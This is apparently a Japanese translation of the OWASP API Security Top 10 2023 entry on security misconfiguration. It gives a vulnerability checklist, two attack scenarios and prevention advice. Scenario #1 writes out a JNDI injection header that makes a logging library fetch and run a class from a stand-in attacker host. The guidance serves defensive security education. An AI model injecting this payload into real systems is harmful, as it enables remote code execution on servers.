オープン・ワールドワイド・アプリケーションセキュリティプロジェクト

API8:2023 Security Misconfiguration

脅威エージェント / 攻撃ベクトル セキュリティ弱点 影響
API固有:悪用可能性 容易 普及度 一般的:検出可能性 容易 技術的 重大:特定のビジネスに依存
攻撃者はしばしば未修正の欠陥、一般的なエンドポイント、不安全なデフォルト構成で実行されているサービス、または保護されていないファイルおよびディレクトリを見つけ出して、システムへの未承認アクセスや情報収集を試みます。これらのほとんどは公開されており、その悪用可能性があるかもしれません。 セキュリティの誤構成は、APIスタックの任意のレベルで発生する可能性があります。不要なサービスやレガシーオプションなど、誤構成を検出および悪用するための自動化ツールが利用可能です。 セキュリティの誤構成は、敏感なユーザーデータだけでなく、システムの詳細を露呈し、完全なサーバーの妥協につながる可能性があります。

APIは脆弱ですか?

APIが脆弱である可能性があるのは、以下の場合です:

  • APIスタックの任意の部分で適切なセキュリティの強化が欠けている場合、またはクラウドサービスの許可が不適切に構成されている場合
  • 最新のセキュリティパッチが欠落しているか、システムが更新されていない場合
  • 不要な機能が有効になっている場合(例:HTTP動詞、ログ機能)
  • HTTPサーバーチェーン内のサーバーが入力リクエストを処理する方法に不一致がある場合
  • Transport Layer Security(TLS)が欠落している場合
  • セキュリティまたはキャッシュ制御の指令がクライアントに送信されていない場合
  • Cross-Origin Resource Sharing(CORS)ポリシーが欠落しているか、適切に設定されていない場合
  • エラーメッセージにスタックトレースが含まれているか、他の敏感な情報が露呈している場合

攻撃シナリオの例

シナリオ #1

APIバックエンドサーバーは、人気のあるサードパーティオープンソースのログ記録ユーティリティで保持されています。このユーティリティはデフォルトでプレースホルダーの展開とJNDI(Java Naming and Directory Interface)ルックアップのサポートを提供しています。各リクエストに対して、以下のパターンでアクセスログファイルに新しいエントリが書き込まれます:<method> <api_version>/<path> - <status_code>

悪意のあるアクターは次のAPIリクエストを発行し、アクセスログファイルに対応するエントリを書き込みます:

GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

ログユーティリティの不安全なデフォルト設定と寛大なネットワーク出口ポリシーのため、X-Api-Versionリクエストヘッダーで値を展開する際、ログユーティリティは攻撃者のリモート制御サーバーからMalicious.classオブジェクトを引き出して実行します。

シナリオ #2

ソーシャルネットワークのウェブサイトは「ダイレクトメッセージ」機能を提供し、ユーザーがプライベートな会話を保持できます。特定の会話の新しいメッセージを取得するために、ウェブサイトは次のAPIリクエストを発行します(ユーザーの操作は必要ありません):

GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA

APIの応答がCache-Control HTTPレスポンスヘッダーを含まないため、プライベートな会話はWebブラウザのキャッシュに保存され、悪意のあるアクターがファイルシステムからそれらを取得することができます。

予防方法

APIライフサイクルには次のような手順が含まれるべきです:

  • 適切にロックダウンされた環境の迅速で簡単な展開を導く、繰り返し可能な強化プロセス
  • APIスタック全体での構成のレビューと更新を行うタスク。レビューには、オーケストレーションファイル、APIコンポーネント、およびクラウドサービス(例:S3バケットの許可)が含まれるべきです。
  • すべての環境で設定と設定の効果を継続的に評価する自動化プロセス

さらに:

  • 内部または公開APIであるかにかかわらず、クライアントからAPIサーバーおよび任意の下流/上流コンポーネントへのすべてのAPI通信が暗号化された通信チャネル(TLS)上で行われることを確認する。
  • 各APIがアクセス可能なHTTP動詞について具体的に指定する:他のすべてのHTTP動詞(例:HEAD)は無効にするべきです。
  • ブラウザベースのクライアント(例:WebAppフロントエンド)からアクセスされることを期待しているAPIは、少なくとも次のことを実施するべきです:
    • 適切なCross-Origin Resource Sharing(CORS)ポリシーの実装
    • 適用可能なセキュリティヘッダーの含めること
  • ビジネス/機能要件を満たすコンテンツタイプ/データ形式への着信コンテンツタイプを制限する。
  • HTTPサーバーチェーン内のすべてのサーバー(例:ロードバランサー、逆および正向きプロキシ、バックエンドサーバー)が入力リクエストを均一な方法で処理するようにするために、定義および強制すべきです。
  • 適用可能な場合、例外トレースや攻撃者に戻される他の貴重な情報を防ぐために、API応答ペイロードスキーマ(エラー応答を含む)を定義および強制すべきです。

参考文献

OWASP

外部